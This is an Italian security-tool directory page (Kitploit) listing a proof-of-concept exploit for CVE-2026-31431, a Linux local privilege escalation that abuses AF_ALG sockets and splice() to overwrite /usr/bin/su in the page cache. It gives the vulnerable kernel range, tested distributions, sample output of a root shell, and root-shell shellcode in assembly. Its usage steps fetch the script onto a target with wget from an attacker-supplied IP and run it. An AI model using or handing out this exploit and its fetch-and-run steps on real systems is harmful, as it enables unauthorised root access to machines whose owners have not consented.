Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
copy-fail-CVE-2026-31431-shell — PoC shell exploit per CVE-2026-31431 (copy_fail) — LPE Linux tramite AF_ALG + sovrascrittura della page-cache con splice. Single-shot, nessuna race condition, kernel 4.9–6.18. | Kitploit
Strumenti/GitHubGitHub/g1nt0n1x/copy-fail-cve-2026-31431-shell
Escalation di PrivilegiFramework di ExploitAnalisi delle VulnerabilitàExploitSviluppo PayloadBinary Exploitation
GitHubg1nt0n1x/copy-fail-cve-2026-31431-shell

copy-fail-CVE-2026-31431-shell

PoC shell exploit per CVE-2026-31431 (copy_fail) — LPE Linux tramite AF_ALG + sovrascrittura della page-cache con splice. Single-shot, nessuna race condition, kernel 4.9–6.18.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
374 mesi faNon ancora revisionato

CVE-2026-31431 - shell copy_fail

Escalatazione locale dei privilegi tramite socket AF_ALG + sovrascrittura della page cache con splice().

Sovrascrive un binario SUID di sola lettura (/usr/bin/su) con un ELF minimale che chiama setuid(0) + execve("/bin/sh"). Nessuna race condition, nessun offset specifico per distribuzione, singolo tentativo.

root@kitploit:~
$ ./copy_fail_exp.sh
[*] Kernel: 5.15.0-88-generic
[+] Il kernel 5.15 rientra nella finestra vulnerabile (4.9 – 6.18) — procedo
[*] Compilazione...
[+] Compilazione riuscita — avvio

# id
uid=0(root) gid=1000(activemq) groups=1000(activemq)

Vulnerabilità

Il socket AF_ALG (API crittografica) del kernel Linux, combinato con splice(), consente una scrittura in un file aperto con O_RDONLY manipolando la page cache. Il kernel salta il controllo dei permessi di scrittura nel percorso di copy-on-write all'interno del socket ALG — la stessa classe di bug di Dirty Pipe (CVE-2022-0847) ma innescata tramite un percorso di codice diverso introdotto nel kernel 4.9.


Versioni interessate

Intervallo di kernelStato
< 4.9Non interessato (percorso di codice vulnerabile non presente)
4.9 – 6.18Vulnerabile (~9 anni, 2017–2026)
≥ 6.19Corretto

Testato

DistribuzioneKernel
Ubuntu 24.04 LTS6.17.0-1007-aws
Amazon Linux 20236.18.8-9.213.amzn2023
RHEL 10.16.12.0-124.45.1.el10_1
SUSE 166.12.0-160000.9-default

Requisiti

  • Shell locale sul target (qualsiasi livello di privilegio)
  • gcc disponibile sul target
  • Accesso in scrittura a /tmp
  • Architettura x86-64

Utilizzo

root@kitploit:~
# Sul target
wget http://<your-ip>/copy_fail_exp.sh
chmod +x copy_fail_exp.sh
./copy_fail_exp.sh

Lo script:

  1. Verifica se il kernel in esecuzione rientra nell'intervallo vulnerabile
  2. Compila l'exploit C incorporato sul target (nessuna dipendenza da zlib)
  3. Sovrascrive /usr/bin/su con il payload della shell root
  4. Lo esegue

Come funziona

root@kitploit:~
Socket AF_ALG (AEAD)
      │
      │  sendmsg() con dati ancillari modificati (ALG_SET_OP / ALG_SET_IV)
      │
      ▼
  op_fd (socket di operazione)
      ▲
      │  splice(): file_fd → pipe → op_fd
      │
/usr/bin/su (O_RDONLY)

Il percorso di splice() del kernel all'interno del socket ALG salta il controllo dei permessi di copy-on-write, scrivendo direttamente nella page cache del file target nonostante sia aperto in sola lettura. Il payload (un ELF di 160 byte) viene scritto 4 byte alla volta in 40 iterazioni.

Shellcode del payload:

root@kitploit:~
xor  eax, eax
xor  edi, edi            ; uid = 0
mov  al,  105            ; SYS_setuid
syscall                  ; setuid(0)
lea  rdi, [rip+0xf]      ; -> "/bin/sh"
xor  esi, esi            ; argv = NULL
push 59  /  pop rax      ; SYS_execve
cdq                      ; envp = NULL
syscall                  ; execve("/bin/sh", NULL, NULL)

File

FileDescrizione
copy_fail_exp.shScript Bash — compila ed esegue sul target, nessun Python richiesto
copy_fail_exp.pyVersione Python originale per riferimento
copy_fail_exp_deobfuscated.pyVersione Python deoffuscata e annotata

Disclaimer

Solo per test di sicurezza autorizzati e ambienti CTF/laboratorio. Non utilizzare contro sistemi di cui non si è proprietari o per i quali non si dispone di esplicita autorizzazione scritta al test.

Scarica lo strumento